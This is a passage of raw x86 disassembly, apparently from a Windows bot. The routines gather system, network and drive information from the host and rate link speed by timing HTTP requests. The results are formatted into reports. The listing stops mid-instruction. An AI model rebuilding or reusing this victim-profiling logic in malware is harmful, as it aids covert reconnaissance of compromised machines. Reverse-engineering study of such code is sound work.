--------------------------------------------------------------------------- loc_4083AD: ; DATA XREF: sub_4087C4+35o push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-6CCh] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-734h] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp-72Ch] add eax, 100000h shr eax, 14h mov [ebp-6F0h], eax mov eax, [ebp-728h] add eax, 100000h shr eax, 14h mov [ebp-738h], eax call sub_4092A4 mov [ebp-714h], eax mov eax, [ebp-714h] xor edx, edx mov ecx, 15180h div ecx mov [ebp-6E8h], eax mov eax, [ebp-714h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp-524h], eax mov eax, [ebp-714h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp-6E4h], eax mov dword ptr [ebp-8], 15h mov dword ptr [ebp-6D0h], 10h lea eax, [ebp-8] push eax lea eax, [ebp-708h] push eax call dword_417018 ; GetUserNameA lea eax, [ebp-6D0h] push eax lea eax, [ebp-6E0h] push eax call dword_417078 ; GetComputerNameA mov dword ptr [ebp-520h], 94h push 24h pop ecx xor eax, eax lea edi, [ebp-51Ch] rep stosd lea eax, [ebp-520h] push eax call dword_417030 ; GetVersionExA mov dword ptr [ebp-48Ch], offset a? ; "?" mov dword ptr [ebp-710h], offset aNoSp ; "no SP" cmp dword ptr [ebp-51Ch], 4 jnz short loc_408522 cmp dword ptr [ebp-518h], 0 jnz short loc_408522 cmp dword ptr [ebp-510h], 1 jnz short loc_40850A mov dword ptr [ebp-48Ch], offset a95 ; "95" loc_40850A: ; CODE XREF: cAddress:004084FEj cmp dword ptr [ebp-510h], 2 jnz short loc_40851D mov dword ptr [ebp-48Ch], offset aNt ; "NT" loc_40851D: ; CODE XREF: cAddress:00408511j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: cAddress:004084ECj ; cAddress:004084F5j cmp dword ptr [ebp-51Ch], 4 jnz short loc_408540 cmp dword ptr [ebp-518h], 0Ah jnz short loc_408540 mov dword ptr [ebp-48Ch], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: cAddress:00408529j ; cAddress:00408532j cmp dword ptr [ebp-51Ch], 4 jnz short loc_40855E cmp dword ptr [ebp-518h], 5Ah jnz short loc_40855E mov dword ptr [ebp-48Ch], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: cAddress:00408547j ; cAddress:00408550j cmp dword ptr [ebp-51Ch], 5 jnz short loc_40857C cmp dword ptr [ebp-518h], 0 jnz short loc_40857C mov dword ptr [ebp-48Ch], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: cAddress:00408565j ; cAddress:0040856Ej cmp dword ptr [ebp-51Ch], 5 jnz short loc_40859A cmp dword ptr [ebp-518h], 1 jnz short loc_40859A mov dword ptr [ebp-48Ch], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: cAddress:00408583j ; cAddress:0040858Cj cmp dword ptr [ebp-51Ch], 5 jnz short loc_4085B6 cmp dword ptr [ebp-518h], 2 jnz short loc_4085B6 mov dword ptr [ebp-48Ch], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: cAddress:loc_40851Dj ; cAddress:0040853Ej ... cmp dword ptr [ebp-510h], 2 jnz short loc_4085D6 movsx eax, byte ptr [ebp-50Ch] test eax, eax jz short loc_4085D6 lea eax, [ebp-50Ch] mov [ebp-710h], eax loc_4085D6: ; CODE XREF: cAddress:004085BDj ; cAddress:004085C8j call sub_40435B test eax, eax jz short loc_4085EB mov dword ptr [ebp-744h], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: cAddress:004085DDj mov dword ptr [ebp-744h], offset aNo ; "No" loc_4085F5: ; CODE XREF: cAddress:004085E9j mov eax, [ebp-744h] mov [ebp-4], eax and byte ptr [ebp-47Ch], 0 and byte ptr [ebp-409h], 0 xor eax, eax cpuid mov [ebp-488h], ebx mov [ebp-484h], edx mov [ebp-480h], ecx lea eax, [ebp-488h] mov [ebp-6ECh], eax and dword ptr [ebp-70Ch], 0 lea eax, [ebp-70Ch] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and dword ptr [ebp-73Ch], 0 mov dword ptr [ebp-740h], 80h lea eax, [ebp-740h] push eax lea eax, [ebp-488h] push eax lea eax, [ebp-73Ch] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push dword ptr [ebp-70Ch] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp-488h] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: cAddress:00408692j push dword ptr [ebp-70Ch] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: cAddress:00408655j cmp dword ptr [ebp-6E4h], 1 jnz short loc_4086C8 mov dword ptr [ebp-748h], offset byte_41DE00 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: cAddress:004086BAj mov dword ptr [ebp-748h], offset dword_4191F4 loc_4086D2: ; CODE XREF: cAddress:004086C6j cmp dword ptr [ebp-524h], 1 jnz short loc_4086E7 mov dword ptr [ebp-74Ch], offset byte_41DE00 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: cAddress:004086D9j mov dword ptr [ebp-74Ch], offset dword_4191F4 loc_4086F1: ; CODE XREF: cAddress:004086E5j cmp dword ptr [ebp-6E8h], 1 jnz short loc_408706 mov dword ptr [ebp-750h], offset byte_41DE00 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: cAddress:004086F8j mov dword ptr [ebp-750h], offset dword_4191F4 loc_408710: ; CODE XREF: cAddress:00408704j lea eax, [ebp-708h] push eax lea eax, [ebp-6E0h] push eax push dword ptr [ebp-748h] push dword ptr [ebp-6E4h] push dword ptr [ebp-74Ch] push dword ptr [ebp-524h] push dword ptr [ebp-750h] push dword ptr [ebp-6E8h] push dword ptr [ebp-4] push dword ptr [ebp-6F0h] push dword ptr [ebp-738h] call sub_40821B push eax push dword ptr [ebp-6ECh] push dword ptr [ebp-514h] push dword ptr [ebp-518h] push dword ptr [ebp-51Ch] push dword ptr [ebp-710h] push dword ptr [ebp-48Ch] push offset dword_419104 push 400h lea eax, [ebp-408h] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp-408h] push eax push offset aS ; "%s" lea eax, [ebp-6C8h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-6CCh] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset loc_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: cAddress:00408CF2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset aPbCs ; "²¿çé" call sub_408808 pop ecx mov [ebp+var_C], eax push offset dword_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: cAddress:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; --------------------------------------------------------------------------- loc_408B30: ; DATA XREF: sub_408E4A+35o push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0A60h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push offset dword_41EF18 lea eax, [ebp-414h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-824h] push eax push 0 push 0 push offset dword_41EF18 call dword_41DE54 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp-414h] push eax mov eax, [ebp-824h] push dword ptr [eax+10h] mov eax, [ebp-824h] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo push dword ptr [ebp-824h] call dword_41DE5C ; freeaddrinfo loc_408BBC: ; CODE XREF: cAddress:00408B84j call sub_409318 mov [ebp-8B8h], eax mov eax, [ebp-8B8h] xor edx, edx mov ecx, 15180h div ecx mov [ebp-830h], eax mov eax, [ebp-8B8h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp-820h], eax mov eax, [ebp-8B8h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp-82Ch], eax push offset aUnknown ; "Unknown" lea eax, [ebp-8B0h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown ; "Unknown" lea eax, [ebp-10h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE4C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp-8B0h] push eax lea eax, [ebp-818h] push eax call dword_41DE4C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp-818h] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp-10h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: cAddress:00408C7Bj push offset aLan ; "LAN" lea eax, [ebp-10h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: cAddress:00408C4Fj ; cAddress:00408C6Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov dword ptr [ebp-0A64h], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: cAddress:00408CA6j mov dword ptr [ebp-0A64h], offset aNo ; "No" loc_408CBE: ; CODE XREF: cAddress:00408CB2j mov eax, [ebp-0A64h] mov [ebp-8], eax call sub_404279 test eax, eax jz short loc_408CDC mov dword ptr [ebp-0A68h], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: cAddress:00408CCEj mov dword ptr [ebp-0A68h], offset aNo ; "No" loc_408CE6: ; CODE XREF: cAddress:00408CDAj mov eax, [ebp-0A68h] mov [ebp-8B4h], eax call sub_408887 mov [ebp-828h], eax mov dword ptr [ebp-81Ch], offset aBad ; "Bad" cmp dword ptr [ebp-828h], 2EEh jnb short loc_408D1D mov dword ptr [ebp-81Ch], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: cAddress:00408D11j cmp dword ptr [ebp-828h], 1F4h jnb short loc_408D33 mov dword ptr [ebp-81Ch], offset aGood ; "Good" loc_408D33: ; CODE XREF: cAddress:00408D27j call sub_4088FC mov [ebp-4], eax cmp dword ptr [ebp-82Ch], 1 jnz short loc_408D50 mov dword ptr [ebp-0A6Ch], offset byte_41DE00 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: cAddress:00408D42j mov dword ptr [ebp-0A6Ch], offset dword_4191F4 loc_408D5A: ; CODE XREF: cAddress:00408D4Ej cmp dword ptr [ebp-820h], 1 jnz short loc_408D6F mov dword ptr [ebp-0A70h], offset byte_41DE00 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: cAddress:00408D61j mov dword ptr [ebp-0A70h], offset dword_4191F4 loc_408D79: ; CODE XREF: cAddress:00408D6Dj cmp dword ptr [ebp-830h], 1 jnz short loc_408D8E mov dword ptr [ebp-0A74h], offset byte_41DE00 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: cAddress:00408D80j mov dword ptr [ebp-0A74h], offset dword_4191F4 loc_408D98: ; CODE XREF: cAddress:00408D8Cj push dword ptr [ebp-0A6Ch] push dword ptr [ebp-82Ch] push dword ptr [ebp-0A70h] push dword ptr [ebp-820h] push dword ptr [ebp-0A74h] push dword ptr [ebp-830h] mov eax, [ebp-4] mov [ebp-0A7Ch], eax and dword ptr [ebp-0A78h], 0 fild qword ptr [ebp-0A7Ch] fdiv flt_417274 push ecx push ecx fstp qword ptr [esp] push dword ptr [ebp-828h] push dword ptr [ebp-81Ch] push dword ptr [ebp-8B4h] push dword ptr [ebp-8] lea eax, [ebp-10h] push eax lea eax, [ebp-8B0h] push eax lea eax, [ebp-414h] push eax push offset dword_419284 push 400h lea eax, [ebp-814h] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp-814h] push eax push offset aS ; "%s" lea eax, [ebp-0A5Ch] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-0A60h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset loc_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; --------------------------------------------------------------------------- loc_408F2E: ; DATA XREF: sub_4091E2+35o push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-5D4h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp-404h] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp-3EFh] rep stosd stosw stosb mov eax, dword_419398 mov [ebp-424h], eax and dword ptr [ebp-418h], 0 and dword ptr [ebp-5D8h], 0 and dword ptr [ebp-414h], 0 mov dword ptr [ebp-410h], 1 loc_408FA6: ; CODE XREF: cAddress:00409169j lea eax, [ebp-424h] push eax call dword_4170CC ; GetDriveTypeA mov [ebp-5DCh], eax cmp dword ptr [ebp-5DCh], 0 jz loc_409151 cmp dword ptr [ebp-5DCh], 1 jz loc_409151 cmp dword ptr [ebp-5DCh], 2 jnz short loc_408FE5 mov dword ptr [ebp-4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: cAddress:00408FDAj cmp dword ptr [ebp-5DCh], 3 jnz short loc_408FF7 mov dword ptr [ebp-4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: cAddress:00408FECj cmp dword ptr [ebp-5DCh], 4 jnz short loc_409009 mov dword ptr [ebp-4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: cAddress:00408FFEj cmp dword ptr [ebp-5DCh], 5 jnz short loc_40901B mov dword ptr [ebp-4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: cAddress:00409010j cmp dword ptr [ebp-5DCh], 6 jnz short loc_40902D mov dword ptr [ebp-4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: cAddress:00409022j mov dword ptr [ebp-4], offset aUnknown_0 ; "unknown" loc_409034: ; CODE XREF: cAddress:00408FE3j ; cAddress:00408FF5j ... cmp dword ptr [ebp-5DCh], 5 jz short loc_40906A cmp dword ptr [ebp-5DCh], 2 jz short loc_40906A lea eax, [ebp-42Ch] push eax lea eax, [ebp-420h] push eax lea eax, [ebp-40Ch] push eax lea eax, [ebp-424h] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: cAddress:0040903Bj ; cAddress:00409044j push 8 push 0 lea eax, [ebp-42Ch] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: cAddress:00409068j push 0 push 100000h push dword ptr [ebp-428h] push dword ptr [ebp-42Ch] call sub_416C90 mov [ebp-42Ch], eax mov [ebp-428h], edx cmp dword ptr [ebp-410h], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp-404h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: cAddress:004090A8j and dword ptr [ebp-410h], 0 loc_4090C6: ; CODE XREF: cAddress:004090BDj mov eax, [ebp-42Ch] or eax, [ebp-428h] test eax, eax jz short loc_40910A push dword ptr [ebp-428h] push dword ptr [ebp-42Ch] push dword ptr [ebp-4] lea eax, [ebp-424h] push eax lea eax, [ebp-404h] push eax push offset dword_4193E4 lea eax, [ebp-404h] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: cAddress:004090D4j push dword ptr [ebp-4] lea eax, [ebp-424h] push eax lea eax, [ebp-404h] push eax push offset dword_4193D4 lea eax, [ebp-404h] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: cAddress:00409108j mov eax, [ebp-42Ch] mov ecx, [ebp-414h] add ecx, eax mov [ebp-414h], ecx mov eax, [ebp-5D8h] inc eax mov [ebp-5D8h], eax loc_409151: ; CODE XREF: cAddress:00408FC0j ; cAddress:00408FCDj mov al, [ebp-424h] add al, 1 mov [ebp-424h], al movsx eax, byte ptr [ebp-424h] cmp eax, 5Ah jnz loc_408FA6 cmp dword ptr [ebp-5D8h], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp-404h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: cAddress:00409176j push dword ptr [ebp-414h] push dword ptr [ebp-5D8h] lea eax, [ebp-404h] push eax push offset dword_41939C lea eax, [ebp-404h] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp-404h] push eax push offset aS ; "%s" lea eax, [ebp-5D0h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-5D4h] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset loc_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: cAddress:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2A0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov 